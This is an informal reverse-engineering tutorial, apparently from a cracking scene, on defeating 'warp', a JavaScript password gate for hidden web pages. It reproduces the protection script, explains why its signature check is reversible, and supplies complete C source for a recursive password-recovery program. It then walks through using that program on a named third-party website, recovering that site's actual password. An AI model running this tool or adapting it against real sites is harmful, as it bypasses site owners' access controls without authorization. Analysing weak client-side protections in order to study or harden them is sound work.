As you may know, the first version of warp is no more available on its
author's website. Hopefully, The Seeker had a copy of the whole package
somewhere on his hard disk and moreover he could find us some 'real' target
still using that version. Thanks Seeker.
1. Warp analysis.
Let's first have a look at that warp thing and try to figure out how it works. Below you'll find the whole script of the protection. You'll probably notice that some code could have been shortened (that's a good exercice :)
function warp() { var password = prompt("Enter PASSWORD:", "Have A Nice Day !"); if (password == null) { alert("Tired already ? :o)");} else { var a = encode (password, 15) //convert your password into page = a.toUpperCase(); //destination page name var newlocation = "null" + page + ".htm" var OutString = verify (password, 15) //compute signature value. } if (OutString == "10009804" ) //compare signature value { window.open ( newlocation, "_new", //signature is correct, open hidden page "resizable=1,scrollbars=1,toolbar=0,location=0,menubar=0,status=0"); //open new window } else //signature is not correct { // window.location.href = "null.htm" //load NO ACCESS page alert("ACCESS DENIED"); //or display alert message } } //this function will compute the signature of a given password function verify (password, NumVal) { Ver="6iAbCDdEeFfGgaHphIkjK7BLM3mN1nOlocPQ9qR2rS5sTtUJuVvWwX8xYyZz40 " NumVal = parseInt(NumVal) var add = 0 var code = 0 for (Count=0; Count < password.length; Count++) { var HelpLetter = password.substring (Count, Count+1) var Convert = getPoss(HelpLetter) var Num = Convert^NumVal if (Num == "0") { Num = 64 add += Num add *= Num } else { add += Num add *= Num } } code = eval(add) return (code); } function getPoss (Letter) {return (Ver.indexOf(Letter));} This function will return a encoded page name given a password function encode (password, NumVal) { Ref="6iAbCDdEeFfGgaHphIkjK7BLM3mN1nOlocPQ9qR2rS5sTtUJuVvWwX8xYyZz40" NumVal = parseInt(NumVal) var encrypt="" for (Count=0; Count < password.length; Count++) { var HelpLetter = password.substring (Count, Count+1) var Convert = getChar(HelpLetter) var Num = Convert^NumVal Num = getVal(Num) encrypt += Num } return (encrypt) } function getChar (Letter) {return (Ref.indexOf(Letter));} function getVal (Val) {return (Ref.substring(Val, Val+1));}You see that the password you enter serves 2 purposes.
As you'll see, that signature check is the weakest part of the algorithm,
cause it is reversible.
So, we will focus our efforts on it.
In the ideal case, the signature function should meet certain requirements :
Uniqueness :
If 2 different passwords have the same signature, as only 1 of them lead to the 'hidden' page, then the signature fail his goal for the second password, because you will land on a 404 page not found.
Let's prove this with an example :
For simplicity, we will assume the followings : Password is made only of numbers. The signature is the sum of each figures
of the password and the pagename is made by converting each figure to his
equivalent letter in the alphabet (1->A, 2->B ...).
The secret page name is 'ABCDE'. And the signature value should be 15.
We can easily find a big amount of 'valid' password regarding the signature
check : "12345", "23451", "34512", "555", "339" ... You can see that's a big amount of
password with the same signature value, but only one of them lead to the
"ABCDE" page. So, we can say that this signature calculation fails his goal
because of a lack of 'uniqueness'.
One-way :
As the signature's goal is purely to prevent 404 page and have nothing to do with the actual pagename encryption process, it should not be possible to retrieve valid password(s) from a given signature. Imagine the signature was just the password written in reverse order (what is perfect regarding uniqueness). In that case, no need to break the encryption algorithm, just reverse the order of the valid signature character and you get the right password.
To summarize, a good signature algorithm will have a high uniqueness and a
high one-way properties. Note that, from the security point of view, only
the one-way property is important. Uniqueness will only prevent to land on
404 page not found.
A last word on this : the actual name of that kind of signature function
is one-way hash function. But allow me to use the word signature, as I
find it to be more 'meaningfull'.
2. Reversing the signature calculation.
Of course, to break this protection, a first idea could be to just brute
force every possible password and keep only those that pass the 'signature'
check.
Let's say the password maybe be up to 8 characters, that will make about
648 password to check. That's about 300.1012 passwords. Let's say
we can check 1.000.000 password every second that would still request 30.106
seconds = 10 YEARS ... Of course you may be lucky and find the right
password quickly. But I don't believe in luck too much, so let's try to
figure out another way.
Is it possible, given the know signature, to retrieve the correct
password (or passwords, if the uniqueness is not perfect) ?
To answer this question we have to study the way the signature is
calculated. This is done in the function Verify.
we can write some pseudo code for it :
signature = 0; Loop for each character of the password { index = char position in alphabet; newindex = index xor constant_value; signature = (signature+newindex)*newindex; }We can notice that the xor step can be taken out of the loop and done in its own separate loop. Indeed, we can rewrite the process as follow :
1. xor every character of the password with a constant value (NumVal); 2. signature = 0; Loop for each character of the new password { index = char position in alphabet; signature = (signature+newindex)*newindex; }As xor is a reversible operation (xor twice = do nothing), we can just forget about it as long as we remember that we are working on a new password. The actual password will just be a matter of xoring.
Note that in the above pseudo-code I did not took into account the special case where the index is 0. In this case, the index is changed to 64. So, in place of having index value ranging from 0 to 63, they will range from 1 to 64 with 64 beeing actually 0. Just remember, for now, that we will have to map 64 to 0 (a simple modulo operation will suffice. Indeed, 64 modulo 64 = 0).
So, how can we reverse that ?
Well, it's clear that if the serie of index when added/muliplied together
give the signature, it's true saying that dividing/substracting the
serie of index (in reverse order) from the signature will give 0 at the
end.
Example :
Let's say the new password's characters indexes are 2,3,4.
The signature will be equal to :
(((((0+2)*2)+3)*3)+4)*4 = 100.
And so we can write : 100/4 = 25; 25-4 = 21; 21/3=7; 7-3=4; 4/2=2; 2-2=0.
So, if we can figure out a way to retrieve a serie of value which when substracted/divided from the signature value give 0, then we got a password.
How to do that ?
Given the know signature, we start to find possible indexes for the last password
character. Once we found a working index, we divide/substract the signature
accordingly and repeat the same process for the next to last character. If
we end up with a signature = 0, then we found a valid password.
To see if a given value fit as a possible index value, we can use the following
rules.
If the result = 0 then the serie of indexes gathered are the indexes of the characters forming a valid password.
We should also add a third rule to the above stated ones to take into account a
maximum password length (thus a maximum number of indexes in our serie). Otherwise
we may end up with very long passwords.
The best example is with the index beeing 1 for every characters. Whatever
the signature value is, there will always be a password made of x times the
character whose index is 1 (with x beeing the signature value).
Let's say the signature is 10.
We can write 0=(((((10-1)/1)-1)/1)-1)/1 .......
As dividing by 1 do nothing, this is the same as writing 0=10-1-1-1-1...
what is still the same as writing 0 = 10-(1*10)
So, we add the rule :
3. recursivity
Now, how can we implement those rules in a program ?
Well, IMHO, this is a perfect case for some recursive function. A recursive
function is a function which call itself.
Indeed, our program will have to start from the known signature value.
Then it will have to try to divide/substract with each value from 1 to 64. If the
result respects the rules (ie, not <0 and integer) then it actually update the
signature value and try again for the next index. If we broke any rules, then
we get back to the previous step and try with the next index value.
If we reach a signature value of 0 then we found a valid serie. We convert it
to character (remember that xor thing and the 64=0) and print the found
password on the screen. We keep trying until all the possibilities have been
explored.
You can see this algorithm as a tree. The root node represent the initial signature
value. You start a branch for each value that perfectly divide the node signature value
and you start a new node with the updated signature value.
If you reach a node where the signature equal 0, then the path leading to that node
correspond to a valid password.
Here you have the whole source code. I won't say much about it, cause it should be easy to understand. I tried to comment it as much as I could.
#include "stdio.h" #include "math.h" #include "string.h" //those are the 'parameters' const int mcode = 412032; //for the 'real' target or //const int mcode = 10009804; // for the warp sample. const int NumVal = 15; //our 'alphabet' const char alphabet[64] = "6iAbCDdEeFfGgaHphIkjK7BLM3mN1nOlocPQ9qR2rS5sTtUJuVvWwX8xYyZz40 "; //max password length ... be carefull as the number of solution increase quickly const int passlen = 4; //some 'stat' counters long nb_sol=0; //total number of valid password found //this is a recursive function which will try to recover a valid password //string from a given signature value. void newnode(int sign_val, char* password, int level) { int i; //we start from 64 downard 1 because for (i=64;i>0; i--) //there is less chance for a high value to { //perfectly divide the signature. if ((sign_val%i)==0) //if the value perfectly divide the signature { int new_sign_val; //update new node value new_sign_val=sign_val/i; new_sign_val-=i; //keep trace of password password[level]=alphabet[(i%64)^NumVal]; //start a new node only if the signature is > 0 if ((new_sign_val>0) && ((level+1)<passlen)) newnode(new_sign_val, password, level+1); if (new_sign_val==0) //got a signature of 0 { nb_sol++; password[level+1]=0; char temp[20]; int j; //we will reverse the characters //(as we build the password from end to begin) for (j=0; j<strlen(password); j++) temp[j]=password[strlen(password)-j-1]; temp[j]=0; //display the password printf("-->%s<--\n",temp); } } } } void main() { char password[12]; // we assume password won't be longer than 11 char newnode(mcode, password, 0); // start recursive function. printf("total number of possible password found : %ld\n", nb_sol); }To confirm the usefullness of this way of breaking the protection, I made some comparaison with a simple brute force through all possible passwords. The following table show the time needed by both program to find all the passwords which have a correct signature given a maximum password length :
length | # of pw | Time A | Time B |
3 | 0 | <1s | <1s |
4 | 4 | <1s | 18s |
5 | 34 | <1s | 19m30s |
6 | 218 | <1s | 21hour* |
7 | 1540 | 2s | 56 days* |
8 | 7218 | 8s | 10 years* |
9 | 97176 | 29s | 6 centuries* |
4. Some practical use.
Let's try to see if this approach really work.
As a starter, we will retrieve the correct password for the sample application given along
with warp package. The advantage is that we know the password and it's length.
So, let's run the program with a max password length of 4 and a mcode of 10009804.
The found passwords are : 0grt, test, Tett, 7c9e.
You can see that the correct one is well listed :) Our program is working.
We can also see that for the given signature there are 4 possible password of 4 characters.
Try to enter any one of the 3 others and you'll see that you won't land neither on the
secret page, neither will the 'Access denied' box appear, but you will well land on a '404 page not found'.
This confirm what we said about the uniqueness of the signature function.
Now, let's see if we can break that secret page The Seeker found for us.
First we have to find the mcode used by the webmaster. A quick look at the source
of that page will show you that the script is located in a external file named warp.js.
So, point your browser to http://www.lombardiaonline.com/Mailmax/warp.js and save that page.
Now you got it on your hard disk and can easily view it. The mcode is 412032.
Don't forget to check also if the NumVal value is still 15 and if the alphabet is
the same as in the original warp scrit.
Ok, everything is correct, only the mcode value changed.
We could start the program right now and check for all possible password up to a max
length of let's say 8 character. In a few second, we would get a list of about 4500
possible password which we would have to browse through to try to locate the correct one.
Let's do it another way and hope that the webmaster was a bit lazy (or kind:) and used
a short password. So we will first check out for possible password with a max length of 4.
quickly, we come up with 3 possible password :'G ap', 'MAX', 'Ed1J'.
hehe .. MAX, that sound nice ... could it be it ? ... Let's try ... Yep, it is :)
Easy, wasn't it ?
Even if the main protection scheme of this script is unbreakable
(beside brute force), the fact that the author wanted to make his script 'user-friendly'
by showing a box in place of landing on a '404 page not found' when you enter a wrong
password created a big hole in the security of the protection.
Of course, long password would always be hard to find (especially if they aren't
meaningfull), but the method shown above will in every case dramatically lower the
amount of password you'll have to check in a very short time.
In the new warp version, the author implement a different signature algorithm which he
claims to be more secure. Why not trying to reverse that one too ? :)
As always, comments, critics, improvements are welcome. Mail me at laurent30(at)hotmail(dot)com